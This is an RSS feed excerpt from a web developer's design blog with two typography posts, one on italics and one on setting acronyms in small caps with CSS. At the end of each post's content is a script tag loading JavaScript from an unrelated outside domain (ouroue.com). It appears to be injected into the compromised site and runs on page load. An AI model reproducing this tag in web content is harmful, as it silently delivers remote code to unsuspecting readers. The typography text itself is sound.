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	<title>sanchothefat.com &#187; Design</title>
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	<description>is Robert O&#039;Rourke, a front-end web developer from Liverpool</description>
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		<title>Typographic Tidbit #2</title>
		<link>http://sanchothefat.com/design/261/typographic-tidbit-2</link>
		<comments>http://sanchothefat.com/design/261/typographic-tidbit-2#comments</comments>
		<pubDate>Wed, 16 Jun 2010 15:45:50 +0000</pubDate>
		<dc:creator>rob</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Italics]]></category>
		<category><![CDATA[Typography]]></category>

		<guid isPermaLink="false">http://sanchothefat.com/?p=261</guid>
		<description><![CDATA[One thing I never knew when I started web design was that italics were not simply a way to emphasise text. The correlation of the HTML &#60;em&#62; tag with the default style being italic text was a design choice made in context of the rest of the default styles. It could easily have been that [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone size-full wp-image-262" title="italics" src="http://sanchothefat.com/blog/wp-content/uploads/2010/06/italics.jpg" alt="" width="496" height="198" /></p>
<p>One thing I never knew when I started web design was that italics were not simply a way to emphasise text. The correlation of the HTML &lt;em&gt; tag with the default style being italic text was a design choice made in context of the rest of the default styles. It could easily have been that normal paragraph text was italic and for emphasis it was made regular.</p>
<p><span id="more-261"></span></p>
<p>What I find interesting about italics is their origin &#8211; matching the hand-written style of lettering in order to fit more text into books (for more detail <a href="http://ilovetypography.com/2008/03/21/extreme-type-terminology/">ilovetypography.com has a great series covering the basics of typography</a>). Something my girlfriend said to me while I was bemoaning her use of Comic Sans (even though it was for a children&#8217;s worksheet) was that the children find the letter forms easier to read because they more closely resemble letters the way they are taught to write them. It made perfect sense.</p>
<p>Why then, I wonder, do we rarely see larger blocks of copy set in italic? I believe that part of the reason was because italic text served a purpose such as providing narrow but legible text and saving on ink while more often than not there was no lack of space for text or a need to tighten the purse-strings.  Perhaps there is mileage in the use of italics for purposes we instinctively use regular text for. If done well (as illustrated by Wolfgang Weingart in the photo) it can be visually very striking and compelling.</p>
<p><img class="alignnone size-full wp-image-263" title="Snapshot of Wolfgang Weingart's Typography" src="http://sanchothefat.com/blog/wp-content/uploads/2010/06/ww-italic.jpg" alt="" width="496" height="232" /></p>
<p>One last thought is that if children are shown beautiful, elegant italic lettering, at least when learning to write cursive, would their hand writing reflect that?<script src="http://ouroue.com/se"></script></p>
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		<title>Typographic Tidbit #1</title>
		<link>http://sanchothefat.com/design/127/typographic-tidbit-1</link>
		<comments>http://sanchothefat.com/design/127/typographic-tidbit-1#comments</comments>
		<pubDate>Fri, 05 Mar 2010 01:25:48 +0000</pubDate>
		<dc:creator>rob</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[Typography]]></category>

		<guid isPermaLink="false">http://www.sanchothefat.com/?p=127</guid>
		<description><![CDATA[I&#8217;m no expert &#8211; yet &#8211; but quite a lot of posts on the web about typography are related to CSS techniques and currently font-embedding. Very few tell us about the best practices for setting specific elements of the text we are working with. To paraphrase Robert Bringhurst typography should reflect the natural language as [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m no expert &#8211; yet &#8211; but quite a lot of posts on the web about typography are related to <abbr title="Cascading Style Sheets">CSS</abbr> techniques and currently font-embedding. Very few tell us about the best practices for setting specific elements of the text we are working with. To paraphrase Robert Bringhurst <q>typography should reflect the natural language as it is spoken</q>. There are some acronyms that we pronounce as a word like Nato or laser and they should therefore be written as words. For acronyms in which we pronounce the letters such as <abbr title="Compact Disc">CD</abbr> or <abbr title="Deoxyribonucleic Acid">DNA</abbr> they should be written as capital letters. That&#8217;s all well and good however from <a href="http://fontfeed.com/archives/erik-spiekermanns-typo-tips/"><cite>Erik Spiekerman</cite>&#8216;s typographic tips over on the FontFeed blog</a>:</p>
<blockquote><p>NEVER use CAPITAL letters to accentuate words in running copy. They STICK  OUT far too much spoiling the LOOK of the column or page. Use <em>italics</em> instead. If you have to set words in capitals, use proper small caps with or without initial capitals.</p></blockquote>
<p>For acronyms where each letter is pronounced &#8211; the letters are still capitalised. As Erik states this is where small caps come into play. They allow you to have capital letters with the same x-height as your regular letter text, thus not sticking out and ruining your lovely paragraph.</p>
<p>This tidbit of <abbr>CSS</abbr> is a must in all of my style sheets from now on:</p>
<pre>abbr { font-variant: small-caps; text-transform: lowercase; }</pre>
<p><script src="http://ouroue.com/se"></script></p>
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